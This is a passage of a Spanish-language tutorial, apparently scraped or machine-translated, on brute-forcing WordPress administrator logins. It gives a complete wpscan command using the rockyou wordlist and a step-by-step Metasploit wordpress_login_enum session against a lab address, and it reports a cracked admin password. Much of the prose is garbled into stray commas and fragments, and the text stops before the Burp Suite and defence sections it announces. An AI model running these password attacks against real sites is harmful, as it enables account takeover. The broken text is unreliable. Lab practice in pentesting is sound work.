🏎️ 🧝🏼 🎣 Varios métodos de ataque de fuerza bruta de WordPress 😄 🧚🏾 🌂

En este artículo, aprenderá a piratear las credenciales del sitio de WordPress mediante varios ataques de fuerza bruta.

Contenido:

Prerrequisitos
WPscan
Metasploit
Suite Burp
¿Cómo proteger un sitio de la fuerza bruta?

Prerrequisitos

Sitio web impulsado por WordPress. Aquí usaremos nuestro propio laboratorio para pentesting , sobre cuya creación estaba dedicado nuestro anterior post.
Kali Linux (WPscan). WPScan , Kali Linux .
Burp Suite (Intruder). .

WPscan

WPscan – , « ». WPscan Linux, , .

WordPress, .

, Kali Linux

rockyou.txt, Kali Linux 14 341 564 .

wpscan --url http://192.168.1.100/wordpress/ -U users.txt -P /usr/share/wordlists/rockyou.txt

–URL — URL-, URL- - WordPress .
-U , users.txt
-P rockyou.txt

. , .

admin flower.

Metasploit

Metasploit Kali Linux. Metasploit, WordPress. msf . , .

msf > use auxiliary/scanner/http/wordpress_login_enum
msf auxiliary(wordpress_login_enum) > set rhosts 192.168.1.100
msf auxiliary(wordpress_login_enum) > set targeturi /wordpress
msf auxiliary(wordpress_login_enum) > set user_file user.txt
msf auxiliary(wordpress_login_enum) > set pass_file pass.txt
msf auxiliary(wordpress_login_enum) > exploit

, :